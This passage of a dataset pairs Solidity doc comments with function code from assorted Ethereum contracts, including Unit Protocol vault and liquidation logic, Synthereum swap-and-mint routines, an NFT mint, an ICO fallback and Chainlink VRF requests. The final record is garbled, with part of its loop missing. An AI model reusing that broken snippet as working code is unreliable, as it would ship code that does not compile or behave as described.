pay the debt\r\n * @dev Withdraws collateral and repays specified amount of debt simultaneously\r\n * @param asset The address of token using as main collateral\r\n * @param mainAmount The amount of main collateral token to withdraw\r\n * @param usdpAmount The amount of USDP token to repay\r\n **/", "function_code": "function withdrawAndRepay(\r\n address asset,\r\n uint mainAmount,\r\n uint usdpAmount\r\n )\r\n public\r\n spawned(asset, msg.sender)\r\n nonReentrant\r\n {\r\n // check usefulness of tx\r\n require(mainAmount != 0, \"Unit Protocol: USELESS_TX\");\r\n\r\n uint debt = vault.debts(asset, msg.sender);\r\n require(debt != 0 && usdpAmount != debt, \"Unit Protocol: USE_REPAY_ALL_INSTEAD\");\r\n\r\n if (mainAmount != 0) {\r\n // withdraw main collateral to the user address\r\n vault.withdrawMain(asset, msg.sender, mainAmount);\r\n }\r\n\r\n if (usdpAmount != 0) {\r\n uint fee = vault.calculateFee(asset, msg.sender, usdpAmount);\r\n vault.chargeFee(vault.usdp(), msg.sender, fee);\r\n vault.repay(asset, msg.sender, usdpAmount);\r\n }\r\n\r\n vault.update(asset, msg.sender);\r\n\r\n _ensurePositionCollateralization(asset, msg.sender);\r\n\r\n // fire an event\r\n emit Exit(asset, msg.sender, mainAmount, usdpAmount);\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Tx sender must have a sufficient USDP balance to pay the debt\r\n * @dev Withdraws collateral and repays specified amount of debt simultaneously converting WETH to ETH\r\n * @param ethAmount The amount of ETH to withdraw\r\n * @param usdpAmount The amount of USDP token to repay\r\n **/", "function_code": "function withdrawAndRepay_Eth(\r\n uint ethAmount,\r\n uint usdpAmount\r\n )\r\n public\r\n spawned(vault.weth(), msg.sender)\r\n nonReentrant\r\n {\r\n // check usefulness of tx\r\n require(ethAmount != 0, \"Unit Protocol: USELESS_TX\");\r\n\r\n uint debt = vault.debts(vault.weth(), msg.sender);\r\n require(debt != 0 && usdpAmount != debt, \"Unit Protocol: USE_REPAY_ALL_INSTEAD\");\r\n\r\n if (ethAmount != 0) {\r\n // withdraw main collateral to the user address\r\n vault.withdrawEth(msg.sender, ethAmount);\r\n }\r\n\r\n if (usdpAmount != 0) {\r\n uint fee = vault.calculateFee(vault.weth(), msg.sender, usdpAmount);\r\n vault.chargeFee(vault.usdp(), msg.sender, fee);\r\n vault.repay(vault.weth(), msg.sender, usdpAmount);\r\n }\r\n\r\n vault.update(vault.weth(), msg.sender);\r\n\r\n _ensurePositionCollateralization_Eth(msg.sender);\r\n\r\n // fire an event\r\n emit Exit(vault.weth(), msg.sender, ethAmount, usdpAmount);\r\n }", "version": "0.7.6"} {"comment": "// ensures that borrowed value is in desired range", "function_code": "function _ensureCollateralization(\r\n address asset,\r\n address user,\r\n uint mainUsdValue_q112\r\n )\r\n internal\r\n view\r\n {\r\n // USD limit of the position\r\n uint usdLimit = mainUsdValue_q112 * vaultManagerParameters.initialCollateralRatio(asset) / Q112 / 100;\r\n\r\n // revert if collateralization is not enough\r\n require(vault.getTotalDebt(asset, user) <= usdLimit, \"Unit Protocol: UNDERCOLLATERALIZED\");\r\n }", "version": "0.7.6"} {"comment": "/// WALK THE PLANK ///", "function_code": "function walkPlank() external whenNotPaused nonReentrant {\r\n require(tx.origin == msg.sender, \"Only EOA\");\r\n require(_pendingPlankCommitId[msg.sender] == 0, \"Already have pending mints\");\r\n uint16 totalPirats = uint16(potm.getTotalPirats());\r\n uint16 totalPending = pendingMintAmt + pendingPlankAmt;\r\n uint256 maxTokens = potm.maxTokens();\r\n require(totalPirats + totalPending + 1 <= maxTokens, \"All tokens minted\");\r\n uint256 totalBootyCost = 0;\r\n for (uint i = 1; i <= 1; i++) {\r\n totalBootyCost += plankCost(totalPirats + totalPending + i);\r\n }\r\n if (totalBootyCost > 0) {\r\n booty.burnExternal(msg.sender, totalBootyCost);\r\n }\r\n _plankCommitId += 1;\r\n uint16 commitId = _plankCommitId;\r\n _plankCommits[msg.sender][commitId] = PlankCommit(1); \r\n _pendingPlankCommitId[msg.sender] = commitId;\r\n pendingPlankAmt += 1;\r\n uint256 randomNumber = _rand(commitId);\r\n commitIdToRandomNumber[commitId] = randomNumber; \r\n commitTimeStamp[msg.sender] = block.timestamp;\r\n emit PlankCommitted(msg.sender, 1);\r\n }", "version": "0.8.7"} {"comment": "/// For creating Rich Token", "function_code": "function _createRich(string _name, address _owner, uint256 _price) private {\r\n Rich memory _richtoken = Rich({\r\n name: _name\r\n });\r\n uint256 newRichId = richtokens.push(_richtoken) - 1;\r\n\r\n // It's probably never going to happen, 4 billion tokens are A LOT, but\r\n // let's just be 100% sure we never let this happen.\r\n require(newRichId == uint256(uint32(newRichId)));\r\n\r\n Birth(newRichId, _name, _owner);\r\n\r\n richtokenIndexToPrice[newRichId] = _price;\r\n\r\n // This will assign ownership, and also emit the Transfer event as\r\n // per ERC721 draft\r\n _transfer(address(0), _owner, newRichId);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Updates parameters of the position to the current ones\r\n * @param asset The address of the main collateral token\r\n * @param user The owner of a position\r\n **/", "function_code": "function update(address asset, address user) public hasVaultAccess notLiquidating(asset, user) {\r\n\r\n // calculate fee using stored stability fee\r\n uint debtWithFee = getTotalDebt(asset, user);\r\n tokenDebts[asset] = tokenDebts[asset].sub(debts[asset][user]).add(debtWithFee);\r\n debts[asset][user] = debtWithFee;\r\n\r\n stabilityFee[asset][user] = vaultParameters.stabilityFee(asset);\r\n liquidationFee[asset][user] = vaultParameters.liquidationFee(asset);\r\n lastUpdate[asset][user] = block.timestamp;\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Increases position's debt and mints USDP token\r\n * @param asset The address of the main collateral token\r\n * @param user The address of a position's owner\r\n * @param amount The amount of USDP to borrow\r\n **/", "function_code": "function borrow(\r\n address asset,\r\n address user,\r\n uint amount\r\n )\r\n external\r\n hasVaultAccess\r\n notLiquidating(asset, user)\r\n returns(uint)\r\n {\r\n require(vaultParameters.isOracleTypeEnabled(oracleType[asset][user], asset), \"Unit Protocol: WRONG_ORACLE_TYPE\");\r\n update(asset, user);\r\n debts[asset][user] = debts[asset][user].add(amount);\r\n tokenDebts[asset] = tokenDebts[asset].add(amount);\r\n\r\n // check USDP limit for token\r\n require(tokenDebts[asset] <= vaultParameters.tokenDebtLimit(asset), \"Unit Protocol: ASSET_DEBT_LIMIT\");\r\n\r\n USDP(usdp).mint(user, amount);\r\n\r\n return debts[asset][user];\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Deletes position and transfers collateral to liquidation system\r\n * @param asset The address of the main collateral token\r\n * @param positionOwner The address of a position's owner\r\n * @param initialPrice The starting price of collateral in USDP\r\n **/", "function_code": "function triggerLiquidation(\r\n address asset,\r\n address positionOwner,\r\n uint initialPrice\r\n )\r\n external\r\n hasVaultAccess\r\n notLiquidating(asset, positionOwner)\r\n {\r\n // reverts if oracle type is disabled\r\n require(vaultParameters.isOracleTypeEnabled(oracleType[asset][positionOwner], asset), \"Unit Protocol: WRONG_ORACLE_TYPE\");\r\n\r\n // fix the debt\r\n debts[asset][positionOwner] = getTotalDebt(asset, positionOwner);\r\n\r\n liquidationBlock[asset][positionOwner] = block.number;\r\n liquidationPrice[asset][positionOwner] = initialPrice;\r\n }", "version": "0.7.6"} {"comment": "// Functions\n// Transaction overview:\n// 1. User approves transfer of token to AtomicSwap contract (triggered by the frontend)\n// 2. User calls AtomicSwap.swapExactTokensAndMint() (triggered by the frontend)\n// 2.1 AtomicSwap transfers token from user to itself (internal tx)\n// 2.2 AtomicSwap approves IUniswapV2Router02 (internal tx)\n// 2.3 AtomicSwap calls IUniswapV2Router02.swapExactTokensForTokens() to exchange token for collateral (internal tx)\n// 2.4 AtomicSwap approves SynthereumPool (internal tx)\n// 2.5 AtomicSwap calls SynthereumPool.mint() to mint synth with collateral (internal tx)", "function_code": "function swapExactTokensAndMint(\n uint256 tokenAmountIn,\n uint256 collateralAmountOut,\n address[] calldata tokenSwapPath,\n ISynthereumPoolOnChainPriceFeed synthereumPool,\n ISynthereumPoolOnChainPriceFeed.MintParams memory mintParams\n )\n public\n returns (\n uint256 collateralOut,\n IERC20 synthToken,\n uint256 syntheticTokensMinted\n )\n {\n IERC20 collateralInstance = checkPoolRegistration(synthereumPool);\n uint256 numberOfSwapTokens = tokenSwapPath.length - 1;\n require(\n address(collateralInstance) == tokenSwapPath[numberOfSwapTokens],\n 'Wrong collateral instance'\n );\n\n synthToken = synthereumPool.syntheticToken();\n IERC20 inputTokenInstance = IERC20(tokenSwapPath[0]);\n\n inputTokenInstance.safeTransferFrom(\n msg.sender,\n address(this),\n tokenAmountIn\n );\n\n inputTokenInstance.safeApprove(address(uniswapRouter), tokenAmountIn);\n\n collateralOut = uniswapRouter.swapExactTokensForTokens(\n tokenAmountIn,\n collateralAmountOut,\n tokenSwapPath,\n address(this),\n mintParams.expiration\n )[numberOfSwapTokens];\n\n collateralInstance.safeApprove(address(synthereumPool), collateralOut);\n\n mintParams.collateralAmount = collateralOut;\n (syntheticTokensMinted, ) = synthereumPool.mint(mintParams);\n\n emit Swap(\n address(inputTokenInstance),\n tokenAmountIn,\n address(synthToken),\n syntheticTokensMinted\n );\n }", "version": "0.6.12"} {"comment": "// Transaction overview:\n// 1. User approves transfer of token to AtomicSwap contract (triggered by the frontend)\n// 2. User calls AtomicSwap.swapTokensForExactAndMint() (triggered by the frontend)\n// 2.1 AtomicSwap transfers token from user to itself (internal tx)\n// 2.2 AtomicSwap approves IUniswapV2Router02 (internal tx)\n// 2.3 AtomicSwap checks the return amounts of the swapTokensForExactTokens() function and saves the leftover of the inputTokenAmount in a variable\n// 2.4 AtomicSwap calls IUniswapV2Router02.swapTokensForExactTokens() to exchange token for collateral (internal tx)\n// 2.5 AtomicSwap approves SynthereumPool (internal tx)\n// 2.6 AtomicSwap calls SynthereumPool.mint() to mint synth with collateral (internal tx)\n// 2.7 AtomicSwap transfers the remaining input tokens to the user", "function_code": "function swapTokensForExactAndMint(\n uint256 tokenAmountIn,\n uint256 collateralAmountOut,\n address[] calldata tokenSwapPath,\n ISynthereumPoolOnChainPriceFeed synthereumPool,\n ISynthereumPoolOnChainPriceFeed.MintParams memory mintParams\n )\n public\n returns (\n uint256 collateralOut,\n IERC20 synthToken,\n uint256 syntheticTokensMinted\n )\n {\n IERC20 collateralInstance = checkPoolRegistration(synthereumPool);\n uint256 numberOfSwapTokens = tokenSwapPath.length - 1;\n require(\n address(collateralInstance) == tokenSwapPath[numberOfSwapTokens],\n 'Wrong collateral instance'\n );\n\n synthToken = synthereumPool.syntheticToken();\n IERC20 inputTokenInstance = IERC20(tokenSwapPath[0]);\n\n inputTokenInstance.safeTransferFrom(\n msg.sender,\n address(this),\n tokenAmountIn\n );\n\n uint256[2] memory amounts =\n _getNeededAmountAndLeftover(\n collateralAmountOut,\n tokenSwapPath,\n tokenAmountIn\n );\n\n inputTokenInstance.safeApprove(address(uniswapRouter), amounts[0]);\n\n collateralOut = uniswapRouter.swapTokensForExactTokens(\n collateralAmountOut,\n amounts[0],\n tokenSwapPath,\n address(this),\n mintParams.expiration\n )[numberOfSwapTokens];\n\n collateralInstance.safeApprove(address(synthereumPool), collateralOut);\n\n mintParams.collateralAmount = collateralOut;\n (syntheticTokensMinted, ) = synthereumPool.mint(mintParams);\n\n if (amounts[1] != 0) {\n inputTokenInstance.safeTransfer(mintParams.recipient, amounts[1]);\n }\n\n emit Swap(\n address(inputTokenInstance),\n tokenAmountIn,\n address(synthToken),\n syntheticTokensMinted\n );\n }", "version": "0.6.12"} {"comment": "// Transaction overview:\n// 1. User approves transfer of synth to `AtomicSwap` contract (triggered by the frontend)\n// 2. User calls `AtomicSwap.redeemAndSwapExactTokens()` (triggered by the frontend)\n// 2.1 `AtomicSwaps` transfers synth from user to itself (internal tx)\n// 2.2 `AtomicSwaps` approves transfer of synth from itself to pool (internal tx)\n// 2.3 `AtomicSwap` calls `pool.redeem()` to redeem synth for collateral (internal tx)\n// 2.4 `AtomicSwap` approves transfer of collateral to `IUniswapV2Router02` (internal tx)\n// 2.7 `AtomicSwap` calls `IUniswapV2Router02.swapExactTokensForTokens` to swap collateral for token (internal tx)", "function_code": "function redeemAndSwapExactTokens(\n uint256 amountTokenOut,\n address[] calldata tokenSwapPath,\n ISynthereumPoolOnChainPriceFeed synthereumPool,\n ISynthereumPoolOnChainPriceFeed.RedeemParams memory redeemParams,\n address recipient\n )\n public\n returns (\n uint256 collateralRedeemed,\n IERC20 outputToken,\n uint256 outputTokenAmount\n )\n {\n IERC20 collateralInstance = checkPoolRegistration(synthereumPool);\n require(\n address(collateralInstance) == tokenSwapPath[0],\n 'Wrong collateral instance'\n );\n\n IERC20 synthToken = synthereumPool.syntheticToken();\n outputToken = IERC20(tokenSwapPath[tokenSwapPath.length - 1]);\n\n uint256 numTokens = redeemParams.numTokens;\n synthToken.safeTransferFrom(msg.sender, address(this), numTokens);\n synthToken.safeApprove(address(synthereumPool), numTokens);\n\n redeemParams.recipient = address(this);\n (collateralRedeemed, ) = synthereumPool.redeem(redeemParams);\n\n collateralInstance.safeApprove(address(uniswapRouter), collateralRedeemed);\n\n outputTokenAmount = uniswapRouter.swapExactTokensForTokens(\n collateralRedeemed,\n amountTokenOut,\n tokenSwapPath,\n recipient,\n redeemParams.expiration\n )[tokenSwapPath.length - 1];\n\n emit Swap(\n address(synthToken),\n numTokens,\n address(outputToken),\n outputTokenAmount\n );\n }", "version": "0.6.12"} {"comment": "// Transaction overview:\n// 1. User approves transfer of synth to `AtomicSwap` contract (triggered by the frontend)\n// 2. User calls `AtomicSwap.redeemAndSwapTokensForExact()` (triggered by the frontend)\n// 2.1 `AtomicSwaps` transfers synth from user to itself (internal tx)\n// 2.2 `AtomicSwaps` approves transfer of synth from itself to pool (internal tx)\n// 2.3 `AtomicSwap` calls `pool.redeem()` to redeem synth for collateral (internal tx)\n// 2.4 `AtomicSwap` approves transfer of collateral to `IUniswapV2Router02` (internal tx)\n// 2.5 AtomicSwap checks the return amounts from the swapTokensForExactTokens() function and saves the leftover of inputTokens in a variable\n// 2.6 `AtomicSwap` calls `IUniswapV2Router02.swapTokensForExactTokens` to swap collateral for token (internal tx)\n// 2.7 AtomicSwap transfers the leftover amount to the user if there is any", "function_code": "function redeemAndSwapTokensForExact(\n uint256 amountTokenOut,\n address[] calldata tokenSwapPath,\n ISynthereumPoolOnChainPriceFeed synthereumPool,\n ISynthereumPoolOnChainPriceFeed.RedeemParams memory redeemParams,\n address recipient\n )\n public\n returns (\n uint256 collateralRedeemed,\n IERC20 outputToken,\n uint256 outputTokenAmount\n )\n {\n IERC20 collateralInstance = checkPoolRegistration(synthereumPool);\n require(\n address(collateralInstance) == tokenSwapPath[0],\n 'Wrong collateral instance'\n );\n\n IERC20 synthToken = synthereumPool.syntheticToken();\n outputToken = IERC20(tokenSwapPath[tokenSwapPath.length - 1]);\n\n uint256 numTokens = redeemParams.numTokens;\n synthToken.safeTransferFrom(msg.sender, address(this), numTokens);\n synthToken.safeApprove(address(synthereumPool), numTokens);\n\n redeemParams.recipient = address(this);\n (collateralRedeemed, ) = synthereumPool.redeem(redeemParams);\n\n uint256[2] memory amounts =\n _getNeededAmountAndLeftover(\n amountTokenOut,\n tokenSwapPath,\n collateralRedeemed\n );\n\n collateralInstance.safeApprove(address(uniswapRouter), amounts[0]);\n\n outputTokenAmount = uniswapRouter.swapTokensForExactTokens(\n amountTokenOut,\n amounts[0],\n tokenSwapPath,\n recipient,\n redeemParams.expiration\n )[tokenSwapPath.length - 1];\n\n if (amounts[1] != 0) {\n collateralInstance.safeTransfer(recipient, amounts[1]);\n }\n\n emit Swap(\n address(synthToken),\n numTokens,\n address(outputToken),\n outputTokenAmount\n );\n }", "version": "0.6.12"} {"comment": "// ------------------------------------------------------------------------\n// 100000 FWD Tokens per 1 ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate && now <= endDate);\r\n uint tokens;\r\n if (now <= bonusEnds) {\r\n tokens = msg.value * 10000000000;\r\n } else {\r\n tokens = msg.value * 100000;\r\n }\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.26"} {"comment": "// Transaction overview:\n// 1. User calls AtomicSwap.swapExactETHAndMint() sending Ether (triggered by the frontend)\n// 1.1 AtomicSwap calls IUniswapV2Router02.swapExactETHForTokens() to exchange ETH for collateral (internal tx)\n// 1.2 AtomicSwap approves SynthereumPool (internal tx)\n// 1.3 AtomicSwap calls SynthereumPool.mint() to mint synth with collateral (internal tx)", "function_code": "function swapExactETHAndMint(\n uint256 collateralAmountOut,\n address[] calldata tokenSwapPath,\n ISynthereumPoolOnChainPriceFeed synthereumPool,\n ISynthereumPoolOnChainPriceFeed.MintParams memory mintParams\n )\n public\n payable\n returns (\n uint256 collateralOut,\n IERC20 synthToken,\n uint256 syntheticTokensMinted\n )\n {\n IERC20 collateralInstance = checkPoolRegistration(synthereumPool);\n uint256 numberOfSwapTokens = tokenSwapPath.length - 1;\n require(\n address(collateralInstance) == tokenSwapPath[numberOfSwapTokens],\n 'Wrong collateral instance'\n );\n synthToken = synthereumPool.syntheticToken();\n\n collateralOut = uniswapRouter.swapExactETHForTokens{value: msg.value}(\n collateralAmountOut,\n tokenSwapPath,\n address(this),\n mintParams.expiration\n )[numberOfSwapTokens];\n\n collateralInstance.safeApprove(address(synthereumPool), collateralOut);\n\n mintParams.collateralAmount = collateralOut;\n (syntheticTokensMinted, ) = synthereumPool.mint(mintParams);\n\n emit Swap(\n address(0),\n msg.value,\n address(synthToken),\n syntheticTokensMinted\n );\n }", "version": "0.6.12"} {"comment": "// Transaction overview:\n// 1. User calls AtomicSwap.swapETHForExactAndMint() sending Ether (triggered by the frontend)\n// 1.1 AtomicSwap checks the return amounts from the IUniswapV2Router02.swapETHForExactTokens()\n// 1.2 AtomicSwap saves the leftover ETH that won't be used in a variable\n// 1.3 AtomicSwap calls IUniswapV2Router02.swapETHForExactTokens() to exchange ETH for collateral (internal tx)\n// 1.4 AtomicSwap approves SynthereumPool (internal tx)\n// 1.5 AtomicSwap calls SynthereumPool.mint() to mint synth with collateral (internal tx)\n// 1.6 AtomicSwap transfers the remaining ETH from the transactions to the user", "function_code": "function swapETHForExactAndMint(\n uint256 collateralAmountOut,\n address[] calldata tokenSwapPath,\n ISynthereumPoolOnChainPriceFeed synthereumPool,\n ISynthereumPoolOnChainPriceFeed.MintParams memory mintParams\n )\n public\n payable\n returns (\n uint256 collateralOut,\n IERC20 synthToken,\n uint256 syntheticTokensMinted\n )\n {\n IERC20 collateralInstance = checkPoolRegistration(synthereumPool);\n uint256 numberOfSwapTokens = tokenSwapPath.length - 1;\n require(\n address(collateralInstance) == tokenSwapPath[numberOfSwapTokens],\n 'Wrong collateral instance'\n );\n synthToken = synthereumPool.syntheticToken();\n\n collateralOut = uniswapRouter.swapETHForExactTokens{value: msg.value}(\n collateralAmountOut,\n tokenSwapPath,\n address(this),\n mintParams.expiration\n )[numberOfSwapTokens];\n\n collateralInstance.safeApprove(address(synthereumPool), collateralOut);\n\n mintParams.collateralAmount = collateralOut;\n (syntheticTokensMinted, ) = synthereumPool.mint(mintParams);\n\n if (address(this).balance != 0) {\n msg.sender.transfer(address(this).balance);\n }\n\n emit Swap(\n address(0),\n msg.value,\n address(synthToken),\n syntheticTokensMinted\n );\n }", "version": "0.6.12"} {"comment": "// Transaction overview:\n// 1. User approves transfer of synth to `AtomicSwap` contract (triggered by the frontend)\n// 2. User calls `AtomicSwap.redeemAndSwapExactTokensForETH()` (triggered by the frontend)\n// 2.1 `AtomicSwaps` transfers synth from user to itself (internal tx)\n// 2.2 `AtomicSwaps` approves transfer of synth from itself to pool (internal tx)\n// 2.3 `AtomicSwap` calls `pool.redeem()` to redeem synth for collateral (internal tx)\n// 2.4 `AtomicSwap` approves transfer of collateral to `IUniswapV2Router02` (internal tx)\n// 2.5 `AtomicSwap` calls `IUniswapV2Router02.swapExactTokensForETH` to swap collateral for ETH (internal tx)", "function_code": "function redeemAndSwapExactTokensForETH(\n uint256 amountTokenOut,\n address[] calldata tokenSwapPath,\n ISynthereumPoolOnChainPriceFeed synthereumPool,\n ISynthereumPoolOnChainPriceFeed.RedeemParams memory redeemParams,\n address recipient\n )\n public\n returns (\n uint256 collateralRedeemed,\n IERC20 outputToken,\n uint256 outputTokenAmount\n )\n {\n IERC20 collateralInstance = checkPoolRegistration(synthereumPool);\n require(\n address(collateralInstance) == tokenSwapPath[0],\n 'Wrong collateral instance'\n );\n\n IERC20 synthToken = synthereumPool.syntheticToken();\n\n uint256 numTokens = redeemParams.numTokens;\n synthToken.safeTransferFrom(msg.sender, address(this), numTokens);\n synthToken.safeApprove(address(synthereumPool), numTokens);\n\n redeemParams.recipient = address(this);\n (collateralRedeemed, ) = synthereumPool.redeem(redeemParams);\n\n collateralInstance.safeApprove(address(uniswapRouter), collateralRedeemed);\n\n outputTokenAmount = uniswapRouter.swapExactTokensForETH(\n collateralRedeemed,\n amountTokenOut,\n tokenSwapPath,\n recipient,\n redeemParams.expiration\n )[tokenSwapPath.length - 1];\n\n emit Swap(\n address(synthToken),\n numTokens,\n address(outputToken),\n outputTokenAmount\n );\n }", "version": "0.6.12"} {"comment": "// Transaction overview:\n// 1. User approves transfer of synth to `AtomicSwap` contract (triggered by the frontend)\n// 2. User calls `AtomicSwap.redeemAndSwapTokensForExactETH()` (triggered by the frontend)\n// 2.1 `AtomicSwaps` transfers synth from user to itself (internal tx)\n// 2.2 `AtomicSwaps` approves transfer of synth from itself to pool (internal tx)\n// 2.3 `AtomicSwap` calls `pool.redeem()` to redeem synth for collateral (internal tx)\n// 2.4 `AtomicSwap` approves transfer of collateral to `IUniswapV2Router02` (internal tx)\n// 2.5 AtomicSwap checks what would be the leftover of tokens after the swap and saves it in a variable\n// 2.6 `AtomicSwap` calls `IUniswapV2Router02.swapTokensForExactETH` to swap collateral for ETH (internal tx)\n// 2.7 AtomicSwap transfers the leftover tokens to the user if there are any", "function_code": "function redeemAndSwapTokensForExactETH(\n uint256 amountTokenOut,\n address[] calldata tokenSwapPath,\n ISynthereumPoolOnChainPriceFeed synthereumPool,\n ISynthereumPoolOnChainPriceFeed.RedeemParams memory redeemParams,\n address recipient\n )\n public\n returns (\n uint256 collateralRedeemed,\n IERC20 outputToken,\n uint256 outputTokenAmount\n )\n {\n IERC20 collateralInstance = checkPoolRegistration(synthereumPool);\n require(\n address(collateralInstance) == tokenSwapPath[0],\n 'Wrong collateral instance'\n );\n\n IERC20 synthToken = synthereumPool.syntheticToken();\n\n uint256 numTokens = redeemParams.numTokens;\n synthToken.safeTransferFrom(msg.sender, address(this), numTokens);\n synthToken.safeApprove(address(synthereumPool), numTokens);\n\n redeemParams.recipient = address(this);\n (collateralRedeemed, ) = synthereumPool.redeem(redeemParams);\n\n uint256[2] memory amounts =\n _getNeededAmountAndLeftover(\n amountTokenOut,\n tokenSwapPath,\n collateralRedeemed\n );\n\n collateralInstance.safeApprove(address(uniswapRouter), amounts[0]);\n\n outputTokenAmount = uniswapRouter.swapTokensForExactETH(\n amountTokenOut,\n amounts[0],\n tokenSwapPath,\n recipient,\n redeemParams.expiration\n )[tokenSwapPath.length - 1];\n\n if (amounts[1] != 0) {\n collateralInstance.safeTransfer(recipient, amounts[1]);\n }\n\n emit Swap(\n address(synthToken),\n numTokens,\n address(outputToken),\n outputTokenAmount\n );\n }", "version": "0.6.12"} {"comment": "// Checks if a pool is registered with the SynthereumRegistry", "function_code": "function checkPoolRegistration(ISynthereumPoolOnChainPriceFeed synthereumPool)\n internal\n view\n returns (IERC20 collateralInstance)\n {\n ISynthereumRegistry poolRegistry =\n ISynthereumRegistry(\n synthereumFinder.getImplementationAddress(\n SynthereumInterfaces.PoolRegistry\n )\n );\n string memory synthTokenSymbol = synthereumPool.syntheticTokenSymbol();\n collateralInstance = synthereumPool.collateralToken();\n uint8 version = synthereumPool.version();\n require(\n poolRegistry.isDeployed(\n synthTokenSymbol,\n collateralInstance,\n version,\n address(synthereumPool)\n ),\n 'Pool not registred'\n );\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice requestRandomness initiates a request for VRF output given _seed\r\n *\r\n * @dev The fulfillRandomness method receives the output, once it's provided\r\n * @dev by the Oracle, and verified by the vrfCoordinator.\r\n *\r\n * @dev The _keyHash must already be registered with the VRFCoordinator, and\r\n * @dev the _fee must exceed the fee specified during registration of the\r\n * @dev _keyHash.\r\n *\r\n * @dev The _seed parameter is vestigial, and is kept only for API\r\n * @dev compatibility with older versions. It can't *hurt* to mix in some of\r\n * @dev your own randomness, here, but it's not necessary because the VRF\r\n * @dev oracle will mix the hash of the block containing your request into the\r\n * @dev VRF seed it ultimately uses.\r\n *\r\n * @param _keyHash ID of public key against which randomness is generated\r\n * @param _fee The amount of LINK to send with the request\r\n *\r\n * @return requestId unique ID for this request\r\n *\r\n * @dev The returned requestId can be used to distinguish responses to\r\n * @dev concurrent requests. It is passed as the first argument to\r\n * @dev fulfillRandomness.\r\n */", "function_code": "function requestRandomness(\r\n bytes32 _keyHash,\r\n uint256 _fee\r\n )\r\n internal\r\n returns (\r\n bytes32 requestId\r\n )\r\n {\r\n LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER));\r\n // This is the seed passed to VRFCoordinator. The oracle will mix this with\r\n // the hash of the block containing this request to obtain the seed/input\r\n // which is finally passed to the VRF cryptographic machinery.\r\n uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]);\r\n // nonces[_keyHash] must stay in sync with\r\n // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above\r\n // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest).\r\n // This provides protection against the user repeating their input seed,\r\n // which would result in a predictable/duplicate output, if multiple such\r\n // requests appeared in the same block.\r\n nonces[_keyHash] = nonces[_keyHash] + 1;\r\n return makeRequestId(_keyHash, vRFSeed);\r\n }", "version": "0.8.7"} {"comment": "// Sends all avaibile balances and creates LP tokens\n// Possible ways this could break addressed\n// 1) Multiple calls and resetting amounts - addressed with boolean\n// 2) Failed WETH wrapping/unwrapping addressed with checks\n// 3) Failure to create LP tokens, addressed with checks\n// 4) Unacceptable division errors . Addressed with multiplications by 1e18\n// 5) Pair not set - impossible since its set in constructor", "function_code": "function addLiquidityToUniswapPxWETHPair() public {\r\n require(liquidityGenerationOngoing() == false, \"Liquidity generation onging\");\r\n require(LPGenerationCompleted == false, \"Liquidity generation already finished\");\r\n totalETHContributed = address(this).balance;\r\n IUniswapV2Pair pair = IUniswapV2Pair(tokenUniswapPair);\r\n Console.log(\"Balance of this\", totalETHContributed / 1e18);\r\n //Wrap eth\r\n address WETH = uniswapRouterV2.WETH();\r\n IWETH(WETH).deposit{value : totalETHContributed}();\r\n require(address(this).balance == 0 , \"Transfer Failed\");\r\n IWETH(WETH).transfer(address(pair),totalETHContributed);\r\n emit Transfer(address(this), address(pair), _balances[address(this)]);\r\n _balances[address(pair)] = _balances[address(this)];\r\n _balances[address(this)] = 0;\r\n pair.mint(address(this));\r\n totalLPTokensCreated = pair.balanceOf(address(this));\r\n Console.log(\"Total tokens created\",totalLPTokensCreated);\r\n require(totalLPTokensCreated != 0 , \"LP creation failed\");\r\n LPperETHUnit = totalLPTokensCreated.mul(1e18).div(totalETHContributed); // 1e18x for change\r\n Console.log(\"Total per LP token\", LPperETHUnit);\r\n require(LPperETHUnit != 0 , \"LP creation failed\");\r\n LPGenerationCompleted = true;\r\n\r\n }", "version": "0.6.12"} {"comment": "// Possible ways this could break addressed\n// 1) No ageement to terms - added require\n// 2) Adding liquidity after generaion is over - added require\n// 3) Overflow from uint - impossible there isnt that much ETH aviable\n// 4) Depositing 0 - not an issue it will just add 0 to tally", "function_code": "function addLiquidity(bool IreadParticipationAgreementInReadSectionAndIagreeFalseOrTrue) public payable {\r\n require(liquidityGenerationOngoing(), \"Liquidity Generation Event over\");\r\n require(IreadParticipationAgreementInReadSectionAndIagreeFalseOrTrue, \"No agreement provided\");\r\n ethContributed[msg.sender] += msg.value; // Overflow protection from safemath is not neded here\r\n totalETHContributed = totalETHContributed.add(msg.value); // for front end display during LGE. This resets with definietly correct balance while calling pair.\r\n emit LiquidityAddition(msg.sender, msg.value);\r\n }", "version": "0.6.12"} {"comment": "// Possible ways this could break addressed\n// 1) Accessing before event is over and resetting eth contributed -- added require\n// 2) No uniswap pair - impossible at this moment because of the LPGenerationCompleted bool\n// 3) LP per unit is 0 - impossible checked at generation function", "function_code": "function claimLPTokens() public {\r\n require(LPGenerationCompleted, \"Event not over yet\");\r\n require(ethContributed[msg.sender] > 0 , \"Nothing to claim, move along\");\r\n IUniswapV2Pair pair = IUniswapV2Pair(tokenUniswapPair);\r\n uint256 amountLPToTransfer = ethContributed[msg.sender].mul(LPperETHUnit).div(1e18);\r\n pair.transfer(msg.sender, amountLPToTransfer); // stored as 1e18x value for change\r\n ethContributed[msg.sender] = 0;\r\n emit LPTokenClaimed(msg.sender, amountLPToTransfer);\r\n }", "version": "0.6.12"} {"comment": "// CHECK WHICH SERIES 2 ID CAN BE CLAIMED WITH SERIES 0 OR SERIES 1 TOKENS", "function_code": "function series2_token(CollectionToClaim _collection, uint256[] memory tokenIds) public view returns(uint256[] memory) {\r\n require(mintStartIndexDrawn);\r\n \r\n uint256[] memory ids = new uint256[](tokenIds.length);\r\n\r\n if (_collection == CollectionToClaim.Series0) {\r\n for(uint i = 0; i 0);\r\n ids[i] = (tokenId + Series0start + mintStartIndex) % Series2total;\r\n }\r\n 